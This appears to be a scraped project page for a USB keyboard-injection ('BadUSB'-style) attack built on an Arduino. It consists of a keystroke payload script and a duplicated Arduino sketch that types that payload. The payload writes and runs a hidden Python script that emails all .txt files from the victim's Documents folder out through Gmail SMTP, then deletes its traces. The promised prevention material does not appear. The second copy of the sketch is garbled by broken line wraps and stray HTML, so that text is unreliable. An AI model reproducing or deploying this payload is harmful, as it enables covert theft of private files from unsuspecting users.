Arduino Keyboard Exploit Demo (HID) and Prevention

1-  Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500  vi hack.py  Sleep::300  Command::KEY_INSERT  import smtplib  import glob, os  from os.path import expanduser  from email.MIMEMultipart import MIMEMultipart  from email.MIMEBase import MIMEBase  from email.MIMEText import MIMEText  from email.Utils import COMMASPACE, formatdate  from email import Encoderssmtp_user = 'sender_gmail_address'  smtp_pass = 'sender_gmail_password'  to_address = 'receiver_address'  scan_documents_location = 'Documents'subject = body = 'Files from hacked computer'  header = 'To :{0}
2From : {1}
3Subject : {2}
4'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):      msg = MIMEMultipart()      msg['From'] = smtp_user      msg['To'] = COMMASPACE.join(to)      msg['Date'] = formatdate(localtime=True)      msg['Subject'] = subject      msg.attach(MIMEText(text))      for file in files:          part = MIMEBase('application', "octet-stream")          part.set_payload(open(file,"rb").read())          Encoders.encode_base64(part)          part.add_header('Content-Disposition', 'attachment; filename="%s"'                         % os.path.basename(file))          msg.attach(part)    server = smtplib.SMTP('smtp.gmail.com:587')      server.starttls()      server.login(smtp_user, smtp_pass)      server.sendmail(smtp_user, to, msg.as_string())      server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))  Sleep::50  Command::KEY_ESC  Sleep::100  :x  Sleep::500  nohup python hack.py &  Sleep::700  rm -rf hack.py  Sleep::400  Command::KEY_LEFT_ALT,KEY_F

1#include "Keyboard.h"
2
3#include "SPI.h"
4#include "SD.h"
5
6String  filenameOnCard = "hack.txt";
7String sleepCommandStartingPoint = "Sleep::";
8String  commandStartingPoint = "Command::";
9int delayBetweenCommands = 10;
10const int  buttonPin = 8;   
11const int chipSelect = 10;       
12int previousButtonState =  HIGH;  
13
14void setup() {
15    pinMode(buttonPin, INPUT);
16    Serial.begin(9600);
17    Keyboard.begin();
18    if (!SD.begin(chipSelect)) {
19        Serial.println("Card  failed, or not present!");
20        return;
21    }
22}
23
24void loop() {
25    int  buttonState = digitalRead(buttonPin);
26    if ((buttonState != previousButtonState)  && (buttonState == HIGH)) {
27      sdFileToKeyboard();
28      Serial.println("Uploaded!");
29      delay(500);
30    }
31    previousButtonState = buttonState;
32}
33
34void sdFileToKeyboard()  {
35    File dataFile = SD.open(filenameOnCard);
36    if (!dataFile) {
37      Serial.println("The  specified filename is not present on SD card, check filenameOnCard !");
38    }
39    String line;
40    while (dataFile.available()) {
41        line = dataFile.readStringUntil('\n');
42        Serial.println(line);
43        sendToKeyboard(line);
44    }
45    dataFile.close();
46}
47
48void  sendToKeyboard(String line) {
49    String workingLine = line;
50    if (workingLine.indexOf(sleepCommandStartingPoint)  != -1) {
51        sleepFor(line);
52        return;      
53    }
54    if (workingLine.indexOf(commandStartingPoint)  == -1) {
55        Serial.print("Text:");Serial.println(line);
56        Keyboard.println(line);
57        pressEnter();
58        return;        
59    }    
60
61    Serial.println("Command:");
62    int charPosition = commandStartingPoint.length();
63    int lineLength = line.length();
64    workingLine += ",";
65    
66    while (workingLine != "") {
67        workingLine  = workingLine.substring(charPosition);
68        Serial.print("WorkingLine:");Serial.println(workingLine);
69        int specialCommandDelimiterPosition = workingLine.indexOf(",");
70        String  command = workingLine.substring(0, specialCommandDelimiterPosition);
71        charPosition  = specialCommandDelimiterPosition + 1;
72        if (command != "") {
73            Serial.print("Command  found:");Serial.println(command);
74            Keyboard.press(getCommandCode(command));
75            delay(delayBetweenCommands);
76        }
77    }
78    Keyboard.releaseAll();
79    delay(delayBetweenCommands);
80}
81
82void pressEnter() {
83    Keyboard.press(KEY_RETURN);
84    Keyboard.releaseAll();
85}
86
87void sleepFor(String line) {
88    int sleepAmount  = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
89    Serial.print("Sleeping  for:");Serial.println(sleepAmount);
90    delay(sleepAmount);
91}
92
93char getCommandCode(String  text) {
94    char textCharacters[2]; 
95    text.toCharArray(textCharacters, 2);
96    char code = textCharacters[0];
97    
98    code = (text == "KEY_LEFT_CTRL")  ? KEY_LEFT_CTRL : code;
99    code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT  : code;
100    code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code;
101    code  = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code;
102    code = (text == "KEY_DOWN_ARROW")  ? KEY_DOWN_ARROW : code;
103    code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW  : code;
104    code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code;
105    code  = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code;
106    code = (text == "KEY_BACKSPACE")  ? KEY_BACKSPACE : code;
107    code = (text == "KEY_TAB") ? KEY_TAB : code;
108    code  = (text == "KEY_RETURN") ? KEY_RETURN : code;
109    code = (text == "KEY_ESC")  ? KEY_ESC : code;
110    code = (text == "KEY_INSERT") ? KEY_INSERT : code;
111    code  = (text == "KEY_DELETE") ? KEY_DELETE : code;
112    code = (text == "KEY_PAGE_UP")  ? KEY_PAGE_UP : code;
113    code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :  code;
114    code = (text == "KEY_HOME") ? KEY_HOME : code;
115    code = (text ==  "KEY_END") ? KEY_END : code;
116    code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK  : code;
117    code = (text == "KEY_F1") ? KEY_F1 : code;
118    code = (text == "KEY_F2")  ? KEY_F2 : code;
119    code = (text == "KEY_F3") ? KEY_F3 : code;
120    code = (text  == "KEY_F4") ? KEY_F4 : code;
121    code = (text == "KEY_F5") ? KEY_F5 : code;
122    code = (text == "KEY_F6") ? KEY_F6 : code;
123    code = (text == "KEY_F7")  ? KEY_F7 : code;
124    code = (text == "KEY_F8") ? KEY_F8 : code;
125    code = (text  == "KEY_F9") ? KEY_F9 : code;
126    code = (text == "KEY_F10") ? KEY_F10 : code;
127    code = (text == "KEY_F11") ? KEY_F1 : code;
128    code = (text == "KEY_F12")  ? KEY_F2 : code;</p><p>    return code;
129}

1#include "Keyboard.h"
2
3#include "SPI.h"
4#include "SD.h"
5
6String
7  filenameOnCard = "hack.txt";
8String sleepCommandStartingPoint = "Sleep::";
9String
10  commandStartingPoint = "Command::";
11int delayBetweenCommands = 10;
12const int
13  buttonPin = 8;   
14const int chipSelect = 10;       
15int previousButtonState =
16  HIGH;  
17
18void setup() {
19    pinMode(buttonPin, INPUT);
20    Serial.begin(9600);
21
22    Keyboard.begin();
23    if (!SD.begin(chipSelect)) {
24        Serial.println("Card
25  failed, or not present!");
26        return;
27    }
28}
29
30void loop() {
31    int
32  buttonState = digitalRead(buttonPin);
33    if ((buttonState != previousButtonState)
34  && (buttonState == HIGH)) {
35      sdFileToKeyboard();
36      Serial.println("Uploaded!");
37
38      delay(500);
39    }
40    previousButtonState = buttonState;
41}
42
43void sdFileToKeyboard()
44  {
45    File dataFile = SD.open(filenameOnCard);
46    if (!dataFile) {
47      Serial.println("The
48  specified filename is not present on SD card, check filenameOnCard !");
49    }
50
51    String line;
52    while (dataFile.available()) {
53        line = dataFile.readStringUntil('\
54');
55
56        Serial.println(line);
57        sendToKeyboard(line);
58    }
59    dataFile.close();
60}
61
62void
63  sendToKeyboard(String line) {
64    String workingLine = line;
65    if (workingLine.indexOf(sleepCommandStartingPoint)
66  != -1) {
67        sleepFor(line);
68        return;      
69    }
70    if (workingLine.indexOf(commandStartingPoint)
71  == -1) {
72        Serial.print("Text:");Serial.println(line);
73        Keyboard.println(line);
74
75        pressEnter();
76        return;        
77    }    
78
79    Serial.println("Command:");
80
81    int charPosition = commandStartingPoint.length();
82    int lineLength = line.length();
83
84    workingLine += ",";
85    
86    while (workingLine != "") {
87        workingLine
88  = workingLine.substring(charPosition);
89        Serial.print("WorkingLine:");Serial.println(workingLine);
90
91        int specialCommandDelimiterPosition = workingLine.indexOf(",");
92        String
93  command = workingLine.substring(0, specialCommandDelimiterPosition);
94        charPosition
95  = specialCommandDelimiterPosition + 1;
96        if (command != "") {
97            Serial.print("Command
98  found:");Serial.println(command);
99            Keyboard.press(getCommandCode(command));
100
101            delay(delayBetweenCommands);
102        }
103    }
104    Keyboard.releaseAll();
105
106    delay(delayBetweenCommands);
107}
108
109void pressEnter() {
110    Keyboard.press(KEY_RETURN);
111
112    Keyboard.releaseAll();
113}
114
115void sleepFor(String line) {
116    int sleepAmount
117  = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
118    Serial.print("Sleeping
119  for:");Serial.println(sleepAmount);
120    delay(sleepAmount);
121}
122
123char getCommandCode(String
124  text) {
125    char textCharacters[2]; 
126    text.toCharArray(textCharacters, 2);
127
128    char code = textCharacters[0];
129    
130    code = (text == "KEY_LEFT_CTRL")
131  ? KEY_LEFT_CTRL : code;
132    code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT
133  : code;
134    code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code;
135    code
136  = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code;
137    code = (text == "KEY_DOWN_ARROW")
138  ? KEY_DOWN_ARROW : code;
139    code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW
140  : code;
141    code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code;
142    code
143  = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code;
144    code = (text == "KEY_BACKSPACE")
145  ? KEY_BACKSPACE : code;
146    code = (text == "KEY_TAB") ? KEY_TAB : code;
147    code
148  = (text == "KEY_RETURN") ? KEY_RETURN : code;
149    code = (text == "KEY_ESC")
150  ? KEY_ESC : code;
151    code = (text == "KEY_INSERT") ? KEY_INSERT : code;
152    code
153  = (text == "KEY_DELETE") ? KEY_DELETE : code;
154    code = (text == "KEY_PAGE_UP")
155  ? KEY_PAGE_UP : code;
156    code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :
157  code;
158    code = (text == "KEY_HOME") ? KEY_HOME : code;
159    code = (text ==
160  "KEY_END") ? KEY_END : code;
161    code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK
162  : code;
163    code = (text == "KEY_F1") ? KEY_F1 : code;
164    code = (text == "KEY_F2")
165  ? KEY_F2 : code;
166    code = (text == "KEY_F3") ? KEY_F3 : code;
167    code = (text
168  == "KEY_F4") ? KEY_F4 : code;
169    code = (text == "KEY_F5") ? KEY_F5 : code;
170
171    code = (text == "KEY_F6") ? KEY_F6 : code;
172    code = (text == "KEY_F7")
173  ? KEY_F7 : code;
174    code = (text == "KEY_F8") ? KEY_F8 : code;
175    code = (text
176  == "KEY_F9") ? KEY_F9 : code;
177    code = (text == "KEY_F10") ? KEY_F10 : code;
178
179    code = (text == "KEY_F11") ? KEY_F1 : code;
180    code = (text == "KEY_F12")
181  ? KEY_F2 : code;</p><p>    return code;
182}